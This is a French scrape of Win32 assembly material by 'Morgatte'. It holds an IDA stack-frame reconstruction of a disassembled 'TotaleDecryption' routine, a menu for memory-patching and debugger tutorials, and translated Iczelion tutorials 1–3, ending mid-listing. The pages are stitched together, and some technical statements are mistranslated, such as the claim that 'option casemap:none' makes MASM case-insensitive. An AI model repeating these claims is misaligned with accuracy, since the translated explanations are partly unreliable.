FFFFFFE0 var_20          db ?
FFFFFFE1                 db ? ; undefined
FFFFFFE2                 db ? ; undefined
FFFFFFE3                 db ? ; undefined
FFFFFFE4                 db ? ; undefined
FFFFFFE5                 db ? ; undefined
FFFFFFE6                 db ? ; undefined
FFFFFFE7                 db ? ; undefined
FFFFFFE8 var_18          dd ?
FFFFFFEC var_14          dd ?
FFFFFFF0 var_10          db ?
FFFFFFF1                 db ? ; undefined
FFFFFFF2                 db ? ; undefined
FFFFFFF3                 db ? ; undefined
FFFFFFF4 var_C           dd ?
FFFFFFF8                 db ? ; undefined
FFFFFFF9                 db ? ; undefined
FFFFFFFA                 db ? ; undefined
FFFFFFFB                 db ? ; undefined
FFFFFFFC var_4           dd ?
00000000  s              db 4 dup(?)
00000004  r              db 4 dup(?)
00000008 Argument1       dd ?
0000000C Argument2       dd ?
00000010
00000010 ; end of stack variables

Au final, voici l'état de la pile reconstituée...

FFFFFFB8 var_48          db 20 dup(?)
FFFFFFCC var_34          db 12 dup(?)
FFFFFFD8 var_28          db 8 dup(?)
FFFFFFE0 var_20          db 8 dup(?)
FFFFFFE8 var_18          dd ?
FFFFFFEC var_14          dd ?
FFFFFFF0 var_10          db 4 dup(?)
FFFFFFF4 var_C           dd 2 dup(?)
FFFFFFFC var_4           dd ?
00000000  s              db 4 dup(?)  ; Leur signification est expliqué dans l'aide d'IDA
00000004  r              db 4 dup(?)  ; En fait on s'en occupe pas. (ils ne sont pas dans le code)
00000008 Argument1       dd ?
0000000C Argument2       dd ?
00000010
00000010 ; end of stack variables
Puis la tête finale de la procédure dernièrement inconnue.

.text:0041578C ; int __stdcall TotaleDecryption(int Argument1,int Argument2)
.text:0041578C TotaleDecryption proc near              ; CODE XREF: sub_416693+28Fp
.text:0041578C                                         ; sub_416693+33Ap ...
.text:0041578C
.text:0041578C var_48          = byte ptr -48h
.text:0041578C var_34          = byte ptr -34h
.text:0041578C var_28          = byte ptr -28h
.text:0041578C var_20          = byte ptr -20h
.text:0041578C var_18          = dword ptr -18h
.text:0041578C var_14          = dword ptr -14h
.text:0041578C var_10          = byte ptr -10h
.text:0041578C var_C           = dword ptr -0Ch
.text:0041578C var_4           = dword ptr -4
.text:0041578C Argument1       = dword ptr  8
.text:0041578C Argument2       = dword ptr  0Ch
Avec ses deux informations en parallèles, on peut reconstruire cette procédure sous Masm.

TotaleDecryption PROC NEAR Argument1:DWORD, Argument2:DWORD
  LOCAL var_48[20]      :BYTE
  LOCAL var_34[12]      :BYTE
  LOCAL var_28[8]       :BYTE
  LOCAL var_20[8]       :BYTE
  LOCAL var_18          :DWORD
  LOCAL var_14          :DWORD
  LOCAL var_10[4]       :BYTE
  LOCAL var_C[2]        :DWORD
  LOCAL var_4           :DWORD

Ecrit par Morgatte

© 2001-2003 by http://membres.lycos.fr/w32assembly/


MemoPatch & Co
Main Menu :) Voici le Fichier contenant les sources ASM dans ce Rar

Memory Patch (Partie 2) Debugger (Partie3) Bifurqueur1.0 Memory Patch (Partie 1) Les Programmes de démonstration


WM_TIMER (Win32)

WM_TIMER
Ce message arrive à destination une fois que le délai fixé pour le Timer s'est écoulé.
Paramètre 	 Description

wParam 		 Contient le n°ID de Timer, c'est un entier qui identifie le Timer.
lParam		 Pointe sur une fonction que l'on a passé à la fonction SetTimer lorsque le
         Timer a été créé. Si le paramètre lParam n'est pas NULL, Windows appelle la
         fonction directement indiquée, à la place d'envoyer le message WM_TIMER à la
         fonction de la fenêtre.
Voir Aussi

SetTimer


Iczelion's Win32asm tutorial part 1: The Basic

Tutorial 1 : les bases

Ce tutorial suppose que le lecteur sache comment employer MASM. Si vous n'êtes pas familiers avec MASM, téléchargez win32asm.exe et étudiez le texte à l'intérieur du ZIP avant la suite des Tutoials. Bon. Vous êtes maintenant prêts. On y va!

Théorie:

Les programmes Win32 fonctionnent en mode protégé depuis le 80286. Mais le 80286 c'est maintenant de l'histoire ancienne. Donc nous devons seulement nous intéresser au 80386 et à ses descendants. Windows dirigent chaque programme Win32 séparément. Ceci signifie que chaque programme Win32 aura à sa disposition ses propres espaces de mémoire. Cependant, cela ne signifie pas que chaque programme win32 a 4GB de mémoire physique, mais seulement que le programme peut adresser n'importe quelle adresse dans cette gamme. Windows fera tout le nécessaire pour adresser les vraies références (physiques) du programme aux adresses (mémoires) valables 00401000… qu'il utilise. Bien sûr, le programme doit respecter les règles de Windows, autrement il causera une Erreur de Protection Générale tant redoutée. Chaque programme est seul dans son espace d'adresse. C'est la différence avec les programmes Win16. Tous les programmes Win16 peuvent *malheureusement plus ou moins se chevaucher* les uns les l'autres. Mais pas sous Win32. Ces gardes fous réduisent la chance d'une écriture du code d'un programme par dessus les données d'un autre.
Le modèle de mémoire est aussi résolument différent des vieux jours du monde du 16 bits. Désormais, sous Win32, nous ne sommes plus concernés par le modèle de mémoire en plusieurs segments! (0001.xxxx puis 0002.xxxx puis 0003.xxxx ….)Il y a seulement un seul modèle de mémoire : le modèle de mémoire uniforme (Flat). Il n'y a plus de segments de plus 64Ko (différence *.com / *.exe). La mémoire est un seul espace continu. Ça veut dire aussi que vous n'avez plus besoin de jouer avec les différents registres concernant les segments [ES et SS]. Vous pouvez employer n'importe quel registre de segment pour adresser n'importe quel point dans l'espace de mémoire (ouf !). C'est une GRANDE aide pour les programmeurs. C'est ce qui fait de l'assembleur Win32 une programmation aussi facile que le C.
Quand vous programmez sous Win32, vous devez respecter quelques règles importantes. Une règle{*Majeure*} est que Windows emploie lui-même ESI, EDI, EBP et EBX et les valeurs de ses registres changent, en même temps qu'une autre application tourne en parallèle avec Windows. Rappelez-vous donc cette règle {*Primordiale*} d'abord : si vous employez chacun de ces quatre registres à l'intérieur d'une procédure, n'oubliez jamais de les reconstituer{*rétablir*} avant le contrôle de retour à Windows. L'exemple évident sont les Call qui appellent une API de Windows. Cela ne signifie pas que vous ne pouvez pas employer ces quatre registres, vous le pouvez. Mais seulement que vous devez rétablir ces registres après un call.

Contenu:

Voici le squelette de n'importe quel programme. Si vous ne comprenez pas quelques-uns des codes, ne paniquez pas. J'expliquerai chacun d'entre eux plus tard.

.386
.MODEL Flat, STDCALL
.DATA
<Vous initialisez les data>
......
.DATA?
<Vous initialisez les data>
......
.CONST
<Vous initialisez vos constantes>
......
.CODE
<label>
<Vous initialisez votre code(début du segment Code)>
.....
end <label>

C'est tout! On va analyser le squelette de ce programme.

.386
C'est une directive d'assembleur, disant à l'assembleur d'employer le jeu d'instructions du 80386. Vous pouvez aussi employer .486 .586 mais l'important c'est d'utiliser au minimum les fonctions à partir du .386. Il y a en réalité deux formes presque identiques pour chaque modèle de directive. .386/.386p.486/.486p. Ces versions "p" sont nécessaires seulement quand votre programme emploie des instructions privilégiées. Les instructions privilégiées sont des instructions réservées par le système du CPU / FONCTIONNEMENT en mode protégé. Elles peuvent seulement être employés par le code privilégié, comme les conducteurs de dispositif virtuels. La plupart du temps, votre programme travaillera dans le mode non-privilégié donc c'est presque sûr que vous n'emploierez pas les versions -p.

.MODEL FLAT, STDCALL
.MODEL est une directive d'assembleur qui spécifie le type de mémoire de votre programme. Sous Win32, il y a seulement un type, le modèle FLAT (mémoire un en seul bloque).
STDCALL dit à MASM quel est l'ordre de passage des paramètres de la pile vers un Call. De " gauche à droite " ou " le droit à gauche " et aussi ça équilibrera l'encadrement de la pile après l'appel de la fonction.
Sous Win16, il y a deux types de convention d'appel, la convention C et le PASCAL
La convention C passe les paramètres de la pile de droit à gauche, c'est-à-dire le paramètre extrême droit est poussé d'abord. L'interlocuteur est responsable du balancement de l'encadrement de pile après l'appel. Par exemple, pour appeler une fonction nommée foo (int first_param, int second_param, int third_param) dans la 'convention d'appel C', les codes d'asm ressembleront à cela :

push [3e_paramètre] ; Pousse le 3e paramètre sur la pile
push [2e_paramètre] ; Suivi par le second
push [1er_paramètre] ; Et du 1er
call Procédure_foo
add sp, 12 ; La fonction appelante équilibre le remplissage de la pile
la convention d'appel PASCAL est le contraire de la convention C. elle passe les paramètres de la pile de gauche à droite et le Call est responsable de équilibre (de l'état) de la pile après l'appel.
Win16 adopte la convention PASCAL parce qu'il produit des codes plus petits. La convention C, est utile quand vous ne savez pas combien de paramètres on passera à la fonction comme dans le cas de wsprintf (). Dans le cas de wsprintf (), la fonction n'a aucune façon de déterminer à l'avance combien de paramètres seront préservés sur la pile, donc on ne peut pas déterminer l'état de la pile.
STDCALL est l'hybride de la Convention de Pascal et C. Il passe les paramètres de droit à gauche. La plate-forme Win32 emploie exclusivement STDCALL . Sauf dans un cas : wsprintf (). Vous devez employer la convention C avec wsprintf ()

.DATA
.DATA?
.CONST
.CODE
Ces quatre directives servent a appeler la section (00401000……). Vous n'avez pas de segments (0001.xxxx, 0002.xxxx,…) dans Win32, vous vous souvenez ? Mais vous pouvez diviser votre espace d'adresse (00401000 à 00620000 par exemple) en sections logiques, exemple : " le code de 00401000 à 005F0000 " et "les DATA de 005F0000 à 00620000 ". Le début d'une section dénote la fin de la section précédente. Il existe deux groupes de section : données et code. Les sections de données sont divisées en 3 catégories :

  • .DATA Cette section contient les données initialisées de votre programme.
  • .DATA? Cette section contient les données non initialisées de votre programme. Parfois vous voulez juste prévoir un espace mémoire pour contenir de futurs données, mais ne voulez pas l'initialiser (lui donner une valeur initiale). c'est le but de cette section. L'avantage des données non initialisées est : qu'il ne prend pas d'espace dans le fichier exécutable. Par exemple, si vous allouez(prévoyez) 10,000 octets dans votre .DATA ? La section de votre exécutable ne sera pas gonflée de 10,000 octets. Sa taille reste pratiquement la même. Vous dites seulement à l'assembleur de combien de place votre programme aura besoin une fois qu'il sera chargé en mémoire, c'est tout.
  • .CONST Cette section contient la déclaration des constantes employées par votre programme. Les constantes qui sont dans cette section ne seront jamais modifiées par votre programme. elles resteront seulement des *constantes*.

Vous n'êtes pas forcément obligé d'employer ces trois sections dans votre programme. Déclarez seulement la (ou les) section (s) que vous voulez utiliser.

Il n'y a seulement qu'une section pour le code : .CODE. C'est celle où vos lignes de code résident.
<label>
end <label>
Où <label> représente n'importe quelle étiquette arbitraire, et est employé pour indiquer le début et la fin de votre code. Les deux 'label' doivent être identiques. Toutes vos lignes de code doivent se trouver entre <label> et end <label>

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 ASM tutorial 2: MessageBox

Tutorial 2: MessageBox

Dans ce tutorial, nous créerons un programme Windows entièrement fonctionnel qui montre une MessageBox (boîte de message) disant "Win32 assembly is great!".

Téléchargez le fichier d'exemple ici.

Théorie:

Windows met à notre disposition de multiples ressources pour les programmes Win (programmes fonctionnant sous windows). La plus importante c'est l'API (Applications Programmant l'Interface). Les API représentent une collection énorme de fonctions très utiles qui résident dans Windows lui-même, prêtes pour l'utilisation de n'importe quels autres programmes Win (programmes tournant sous Windows contrairement à ceux sous Dos). Ces fonctions sont stockées dans plusieurs bibliothèques dynamiquement liées (les DLLs) comme kernel32.dll, user32.dll et gdi32.dll. Kernel32.dll Contient les fonctions API qui traitent avec la mémoire et sa gestion. User32.dll contrôle les interfaces dont se sert votre programme. Gdi32.dll est responsable d'opérations graphiques. "Les trois principales " sont là, d'autre DLLs peuvent être employées pour votre programme, pourvu que vous ayez assez d'informations sur les fonctions API désirées.
Les programmes Win se lient dynamiquement avec ces DLLs, c'est-à-dire : Les codes des fonctions API ne sont pas inclus dans le programme Win exécutable. Dans votre programme, pendant son exécution, pour accéder à l'API désirée, vous devez déclarer cette information dans le fichier exécutable. L'information est dans une bibliothèque d'importation. Vous devez lier vos programmes avec les bibliothèques d'importation correctes ou ils ne seront pas capables de retrouver la fonction de l'API souhaitée.
Quand un programme Win est chargé dans la mémoire, Windows lit l'information stockée dans le programme. Cette information inclut les noms des fonctions et les DLLs où résident ces fonctions. Ex : le DLL User32.dll contient la fonction MessageBox (ainsi qu'une multitude d'autres fonctions). L'information que cherchera Windows dans votre exécutable ce sera quelque chose comme " Call USER32 ! MessageBox ". Dès que Windows trombera sur un tel renseignement dans votre programme, il chargera le DLL et exécutera la fonction.
Il y a deux catégories de fonctions API : les uns pour ANSI et les autres pour Unicode. Les noms des fonctions API pour ANSI sont suivis du suffixe "A", ex : MessageBoxA. Ceux pour Unicode ont le suffixe "W". Windows 95 traite naturellement ANSI, et Windows NT Unicode.
D'habitude on se sert de la convention ANSI, qui pour l'ensemble des caractères proposés par votre ordinateur est terminés par le caractère NULL. ANSI représente chaque caractère sur 1 octet. Il est suffisant pour les langues européennes, mais il ne peut pas manipuler la plupart des langues orientales qui ont plusieurs milliers de caractères uniques. C'est pourquoi UNICODE entre en jeu. Un caractère UNICODE a une taille de 2 octets, ce qui lui permet d'avoir une série de code de 65536 caractères uniques.
Mais la plupart du temps, vous emploierez un fichier INCLUDE (*.inc) qui peut déterminer et choisir les fonctions API appropriées à votre plate-forme suivant ce que doit faire votre programme. Référez-vous juste aux noms de fonction API sans le suffixe.

Example:

Je vous ai présenté ci-dessous le squelette nu d'un programme. Nous l'enrichirons plus tard.

.386
.model flat, stdcall
.data
.code
start:
end start

L'exécution commence à la première instruction immédiatement au-dessous de l'étiquette Start: Le programme s'exécutera instruction par l'instruction jusqu'à ce qu'une instruction de contrôle de direction comme jmp, jne, je ,ret Etc..soit trouvée. Ces instructions dirigent l'exécution vers d'autres lignes d'instructions. Quand le programme a besoin de sortir de Windows pour se terminer, il doit appeler la fonction ExitProcess qui est une API de la DLL Kernel32.dll.

ExitProcess proto uExitCode:DWORD

Ci dessus, ce type d'expression est appelé un prototype de fonction. Un prototype de fonction définit les attributs d'une fonction pour ensuite transformer cette expression (pseudo-assembler) en véritable assembler. Le format d'un prototype de fonction est le suivant :

FunctionName PROTO [ParameterName]:DataType,[ParameterName]:DataType,...

En résumé, le mot-clé PROTO est précédé du nom de la fonction puis suivi de la liste des paramètres, séparés par des virgules. Dans l'exemple ExitProcess ci-dessus, il définit ExitProcess comme une fonction qui prend seulement un seul paramètre de type DWORD. Les prototypes de fonctions sont très utiles quand vous employez la syntaxe d'appel de niveau haut :INVOKE. En plus, le Linker vérifiera si vous avez correctement utilisé la fonction que vous invokez. En outre, il vérifiie que ses paramètres ne sont pas oubliés.
Par exemple, si vous faites :

call ExitProcess

Sans pousser un dword sur la pile (Push 0, avant d'appeler la fonction ExitProcess), l'assembler ne sera pas capable de comprendre cette erreur à votre place. Vous vous en apecevrez plus tard quand votre programme plantera. Mais si vous employez :

invoke ExitProcess

Le linker vous informera que vous avez oublié de pousser un dword sur la pile évitant ainsi l'erreur. Je vous recommande donc d'employer. invoke au lieu d'un simple 'Call'. La syntaxe d''Invoke' est la suivante :

INVOKE expression [,arguments]

L'expression peut être le nom d'une fonction ou bien un pointeur de fonction. Les paramètres sont séparés par des virgules.

La plupart des prototypes de fonction pour des fonctions API sont tenus dans les fichiers nommés : INCLUDE. Si vous employez MASM32, ils seront dans le dossier MASM32/INCLUDE. Les fichiers INCLUDE ont l'extension .inc et les prototypes de fonction pour un DLL sont stockés dans le fichier .inc avec le même nom que le DLL. Par exemple, ExitProcess est exporté par kernel32.lib donc le prototype de fonction pour ExitProcess est stocké dans kernel32.inc.
Vous pouvez aussi créer des prototypes de fonction pour vos propres fonctions. (HéHé ! ! !)
Partout dans mes exemples, j'emploierai windows.inc que vous pouvez télécharger à http://win32asm.cjb.net

Maintenant revenons à ExitProcess, uExitCode est la valeur du paramètre que vous voulez que votre programme renvoie à Windows après que celui-ci se termine. Vous pouvez appeler ExitProcess comme cela :

invoke ExitProcess, 0

Si vous placez cette ligne immédiatement après l' étiquette de commencement (ici on l'a appelée arbitrairement 'Start :', vous obtiendrez un programme win32 qui sortira immédiatement de Windows (pour revenir à ce que vous aviez à l'écran juste avant d'exécuter votre programme), mais c'est néanmoins un programme valable.

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
.code
start:
invoke ExitProcess,0
end start

L'option casemap:none indique à MASM de ne pas faire de différence entre les expressions ExitProcess et exiteprocess par exemple. Notez la nouvelle directive, include. Cette directive est suivie par le nom du fichier que vous voulez insérer à sa place. Dans cet exemple, quand MASM traite la ligne include \masm32\include\windows.inc, Il ouvrira windows.inc qui est dans le dossier \MASM32\include et fera en sorte que son contenu (celui de windows.inc) soit collé dans votre programme win32. Il ne contient pas de prototype de fonction. windows.inc n'est en aucun cas complet(c'est compréhensif car on peut toujours y rajouter de nouvelles choses). Ce fichier 'windows.inc' qui regroupe tous mes fichiers.inc je l'appelle le fichier 'HUTCH'. Il sera constamment remis à jour. Vérifiez donc HUTCH de temps en temps sur ma page d'accueil pour des mises à jour.

Dans notre exemple ci-dessus, nous appelons une fonction exportée par kernel32.dll, donc nous avons besoin d'inclure le prototype de fonction de kernel32.dll. Ce fichier est kernel32.inc. Si vous l'ouvrez avec un éditeur de texte, vous verrez que c'est plein de prototypes de fonction pour kernel32.dll. Si vous n'incluez pas kernel32.inc, vous pouvez toujours appeler ExitProcess, mais seulement avec la syntaxe d'appel simple (Push 0 puis Call ExitProcess). Vous ne serez pas capables d'invoker la function (ExitProcess).

*** Faisons le point : pour invoquer une fonction, vous devez mettre son prototype de fonction (qui est le contenu d'un des fichier *.inc) quelque part dans le code source. Dans notre exemple, si vous n'incluez pas kernel32.inc, vous pouvez définir le prototype de fonction pour ExitProcess n'importe où dans le code source au-dessus de la commande invokée et ça marchera. Les fichiers invokés doivent ici vous faciliter le travail en vous épargnant de taper les prototypes vous-même, donc employez-les chaque fois que vous le pouvez.
Maintenant nous rencontrons une nouvelle directive, includelib. includelib ne fonctionne pas comme include. C'est seulement une façon de dire à l'assembleur quelles bibliothèques d'importation sont employées par vos programmes. Quand l'assembleur voit une directive includelib, il met une commande de linker dans le fichier d'objet pour que le linker sache avec quelles bibliothèques d'importation votre programme a besoin de se lier. Vous n'êtes pas forcé d'employer includelib quoique. Vous pouvez spécifier les noms des bibliothèques d'importation dans la ligne de commande du linker, mais croyez-moi, c'est ennuyeux et la ligne de commande ne peut contenir que 128 caractères.

Sauvegardez maintenant cet exemple sous le nom de msgbox.asm. Vérifiez le chemin d'accès du fichier ml.exe, et assemblez msgbox.asm avec:

    ml /c /coff /Cp msgbox.asm
  • /c dit à MASM de seulement assembler. ça n'appelle pas link.exe. La plupart du temps, on ne veut pas appeler link.exe automatiquement puisque on doit exécuter quelques autres tâches avant l'appel de link.exe.

    • /coff dit à MASM de créer le fichier .obj dans le format COFF. MASM emploie une variante du format COFF (le Format de Fichier d'Objet Commun) qui est employé sous Unix comme son propre objet et le format de fichier exécutable.
    /Cp Dit à MASM de préserver les identificateurs d'utilisateur. Si vous employez les fichier du HUTCH (Les fichiers .inc), vous pouvez mettre l'"option casemap:none" en entête de votre source code. La directive .model réalise le même effet.
Après que vous ayez assemblé avec succès msgbox.asm, vous obtiendrez msgbox.obj. msgbox.obj est un fichier objet. Un fichier objet n'est pas loin d'un fichier exécutable. Il contient les instructions et les données dans la forme binaire. Ce qui manque sont chacunes des adresses fixes devant les instructions. Et ça, c'est le linker qui va faire le boulot.

Alors allons y avec link:

    link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib msgbox.obj
/SUBSYSTEM:WINDOWS Ça informe 'Link' de quel sorte d'exécutable est votre programme.
/LIBPATH:<path to import library> Dit à Link où sont les bibliothèques d'importation. Si vous utilisez MASM32, ils seront dans le dossier MASM32\LIB.
Link lit dans le fichier *.obj et pose les adresses des bibliothèques d'importation. Quand le processus est fini vous obtenez msgbox.exe.

Maintenant vous arrivez à msgbox.exe. Continuez, exécutez-le. Vous constaterez qu'il ne fait rien. Bien, nous n'y avons rien mis d'intéressant encore. Mais c'est un programme de Windows néanmoins. Et regardez sa taille! Dans mon PC, il prend 1,536 octets.

Maintenant, nous allons créer une boîte de message. Son prototype de fonction est :

MessageBox PROTO hwnd:DWORD, lpText:DWORD, lpCaption:DWORD, uType:DWORD

hwnd est le 'handle' ou la poignée de la fenêtre parente. Vous pouvez vous imaginer qu'un 'Handle' est un numéro qui représente la fenêtre à laquelle vous faîtes référence. Sa valeur n'a pas d'importante pour vous. Vous vous rappelez seulement qu'il représente la fenêtre. Quand vous voulez faire quelque chose avec la fenêtre, vous devez vous y référer par son 'handle'.
lpText est un pointeur sur le texte que vous voulez montrer en tant que Contenu de la MessageBox (boîte de message). Cet pointeur représente réellement l'adresse de quelque chose. Cette adresse sera quelque chose du genre 00602154 et elle sinifie que le contenu qui sert à votre boite de message est en fait écrit à partir de la mémoire 00602154 (Cette adresse fait toujours parti des DATA) = Le Contenu De La MessageBox
lpCaption est l'pointeur de texte qui sert cette fois à accèder à l'adresse du texte qui est le titre de la message box. = Le Titre De La MessageBox
uType spécifie le type de message box utilisée. Par exemple quels sont les boutons quelle doit avoir, est-ce une MessageBox simple ou bien une avec un signe particulier comme le Point d'Interrogation...
Modifions msgbox.asm pour inclure une MessageBox.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data
MsgBoxCaption db "Iczelion Tutorial No.2",0
MsgBoxText db "Win32 Assembly is Great!",0

.code
start:
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
end start

Assemblez le fichier msgbox.asm et exécutez le nouveau prog msgbox.exe. Vous verrez une boîte de message montrant le texte"Win32 Assembly is Great!".

Regardons de nouveau le code source.
Nous avons définis deux données terminées par un zéro dans la section .data. Rappelez-vous que chaque données ANSI dans Windows doit être terminée par le caractère NULL (0 hexadécimal).
Nous avons aussi employé deux constantes, le NULL et MB_OK. Ces constantes sont définies dans windows.inc. Donc vous pouvez faire référence à leurs noms à la place de leurs valeurs. Cela améliore la lisibilité De votre code source.
L'expression ADDR est employée pour passer l'adresse d'une données ou d'un label à la fonction. C'est valable seulement dans le contexte de la directive 'invoke'. Vous ne pouvez pas l'employer pour assigner l'adresse d'une donnée à un registre / variable, par exemple. Vous devez employer offset au lieu de 'ADDR' dans ce cas. Cependant, il y a quelques différences entre les deux :

  1. addr ne peut pas manipuler à l'avance la référence tandis qu' offset le peut. Par exemple, si la ligne où est rendu le programme, invoke un label qui est défini quelque part plus loin dans le code source, ADDR ne marchera pas.
    2. invoke MessageBox,NULL, addr MsgBoxText,addr MsgBoxCaption,MB_OK
    ......
    MsgBoxCaption db "Iczelion Tutorial No.2",0
    MsgBoxText db "Win32 Assembly is Great!",0
    MASM indiquera une erreur. Si vous utilisez offset au lieu de addr dans ce petit bout de code, alors MASM l'assemblera avec succès.
  2. addr peut manipuler des variables locales tandis qu' offset ne le peut pas. . Une variable locale est seulement un petit espace réservé sur la pile. Vous ne connaîtrez seulement son adresse que le temps de l'exécution. offset est interprété pendant le déroulement du programme par l'assembleur. Donc il est naturel qu' offset ne travaille pas avec des variables locales. addr est capable de manipuler des variables locales grâce au fait que l'assembleur vérifie d'abord si la variable mentionnée par addr est globale ou locale. Si c'est une variable globale, il met l'adresse de cette variable dans le fichier d'objet. À cet égard, il travaille comme offset. Si c'est une variable locale, il produit un ordre d'instruction qu'il appelle en réalité avant la fonction :
    3. lea eax, LocalVar
    push eax

    Puisque 'lea' peut déterminer l'adresse d'un label pendant l'exécution, ça fonctionne tès bien.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 ASM tutorial 3: Une Simple Fenêtre

Tutorial 3: Une Simple Fenêtre

Dans ce tutorial, nous construirons un programme Win qui ouvre une fenêtre entièrement fonctionnelle sur le bureau. (Un programme Win, est un programme qui tourne sous Windows et non pas comme certains sous le DOS).
Downloadez le fichier en exemple ici

Théorie:

Les programmes Win font fréquemment appels aux fonctions API pour leur GUI (NdT : Graphic User Interface). Le GUI c'est l'ensemble des objets tels qu'une boîte de saisie de texte, les boutons... En fait, pour fabriquer un programme Win32 on crée d'abord une fenêtre principale vide(c'est ce qu'on va faire dans ce tutorial) puis on place par dessus des objets du GUI suivant ce qu'on veut. Il faut bien un lien entre la fenêtre principale et ses objets, car il peut aussi y avoir plusieurs fenêtres principales d'ouvertes, ce lien c'est le n°'Handle' de la fenêtre principale qui est donnée comme paramètre à chaque objet pour dire que ces objets font parti de cette fenêtre-ci et non une autre. Ceci est à la fois bénéfique pour les utilisateurs et pour les programmeurs. Ainsi les utilisateurs n'ont plus besoin de comprendre comment le GUI de chaques nouveaux programmes fonctionne, le GUI de chaque programme Win est semblable. Pour les programmeurs, les codes du GUI sont déjà à sa disposition, évalués et prêts à être utilisés. Le revers pour les programmeurs c'est la complexité accrue. Pour créer ou manipuler n'importe quels objets du GUI comme des fenêtres, un menu ou des icônes, les programmeurs doivent suivre une recette stricte. Mais ceci peut être surmonté par la programmation modulaire ou le paradigme OOP.
Ci-dessous, je vous montre les étapes exigées pour créer une fenêtre sur le bureau:
  1. Déclarez l'"instance handle" de votre programme (obligatoire)

    2. l'instance handle du prog est l'adresse mémoire de base où windows à chargé l'exe dans le processeur, en général 400000 pour un exe et 100000 pour une DLL. Cette valeur sert à des fonctions win32 pour charger des ressources.
  2. Déclarez la 'command line' (Non exigé à moins que votre programme ne veuille traiter une ligne de commande)

    3. 'GetCommandLine' sert à connaître la ligne de commande lors du lancement de l'appli, des paramètres. exemple -->monprog.exe cmd1,cmd2 ,et tout ce qui est après exe fait partie de la ligne de commande.
  3. Définissez la 'window class' (Obligatoire, à moins que vous utilisiez un type de fenêtre prédéfini telle qu': une MessageBox ou une DialogBox)
  4. Créez la fenêtre (ben oui Obligé)
  5. Affichez la fenêtre sur le bureau (Obligé à moins que vous ne vouliez pas montrer la fenêtre immédiatement)
  6. Rafraichir l'intérieur de la (Client Area) zone de travail de notre fenêtre
  7. Créer un bout de code qui tourne sur lui-même à l'infini, capable de vérifier les messages de Windows (comme l'attente d'une action)
  8. Si des messages sont reçus, ils sont traités par une fonction spécifique
  9. Sortie du programme si l'utilisateur referme la fenêtre
Comme vous pouvez le voir, la structure d'un programme Win est plutôt complexe comparée à un programme fonctionnant sous DOS. Mais le monde de Windows diffère résolument du monde de DOS. Les programmes Win doivent être capables de coexister paisiblement les uns avec les autres. Ils doivent suivre des règles très strictes. Chaque programmeur doit aussi être très stricte avec son style de programmation et d'habitudes.

Contenu:

Ci-dessous voici le code source de notre programme ouvrant une simple fenêtre. Avant une plongée dans les entrailles de la programmation Win32 ASM, regardons quelques points importants qui soulageront votre programmation.
  • Vous devez mettre tous les 'Constants Windows', les structures et les prototypes de fonction dans un fichier INCLUDE (*.inc) et l'inclure au début de votre fichier .asm. Cela vous évitera de gros efforts de réécriture par vous même. Actuellement, la plupart des fichiers INCLUDE ,tel que windows.inc, sont complets. La totalité des fichiers INCLUDE forment le répertoire HUTCH que vous pouvez télécharger sur ma page. Vous pouvez aussi définir vos propres constants et structures mais vous devez les mettre dans un fichier INCLUDE (*.inc) différent de 'windows.inc'.
    Les 'constants Windows', les 'structures' et les 'Prototypes de Fonction' sont toutes des instructions assembleur. Donc si vous n'avez pas compris, on écrit seulement des bouts de programme en ASM dans des fichiers *.inc et quand vous en avez besoin pour un de vos programmes, vos y faites référence grâce à une instruction spéciale :'INCLUDE…'
  • Utilisez la directive includelib pour indiquer quelle bibliothèque d'importation est employée par votre programme. Par exemple, si votre programme appelle la fonction MessageBox, vous devez mettre la ligne :
      • includelib user32.lib
    au début de votre fichier .asm. Cette directive informe MASM que votre programme utilisera certaines fonctions dans cette bibliothèque d'importation. Si vos fonctions d'appels de programme ne font pas parti de la même bibliothèque, ajoutez juste un IncludeLib pour chaque bibliothèque que vous employez. En employant la directive IncludeLib, vous n'avez plus à vous inquiétez des bibliothèques d'importations. Vous pouvez employer /LIBPATH linker comme commutateur pour dire où se trouvent tous les libs et y faire ainsi référence.
  • En déclarant des prototypes de fonction API, des structures, ou des constants pour les inclure dans vos propres fichiers, essayez de respecter les noms d'origines employés par les fichiers INCLUDE de Windows. Ça vous évitera bien des maux de tête à chercher quelque article dans la référence Win32 API.
  • Employez le fichier makefile.bat pour automatiser votre processus d'assemblage. Cela vous évitera encore de tapez pleins de lignes de code à chaque fois.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib ; Fait appel à des fonctions dans user32.lib et kernel32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA ; Initialise les DATA (ceux qui font déjà parti du programme)
ClassName db "SimpleWinClass",0 ; le nom de Class de votre fenêtre
AppName db "Our First Window",0 ; Le nom de votre fenêtre (c'est son titre)

.DATA? ; Initialise les DATA (ceux qui ne font pas encores parti du programme. EX: les futures saisies au clavier).
hInstance HINSTANCE ? ; l'Instance handle de votre programme
CommandLine LPSTR ?
.CODE ; C'est ici que commence votre code.
start:
invoke GetModuleHandle, NULL ; Récupère l'Instance handle de votre programme.
; Sous Win32, hmodule==hinstance mov hInstance,eax
mov hInstance,eax
invoke GetCommandLine ; Obtient la command line. vous n'avez besoin d'appeler cette fonction QUE SI
; votre programme n'a pas encore de command line.
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT ; Appelle la fonction principale
invoke ExitProcess, eax ; Sort de votre programme. Le code de sortie est retourné dans eax.

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX ; Créez des variables locales sur la pile
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX ; Place les valeurs dans les membres de wc
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
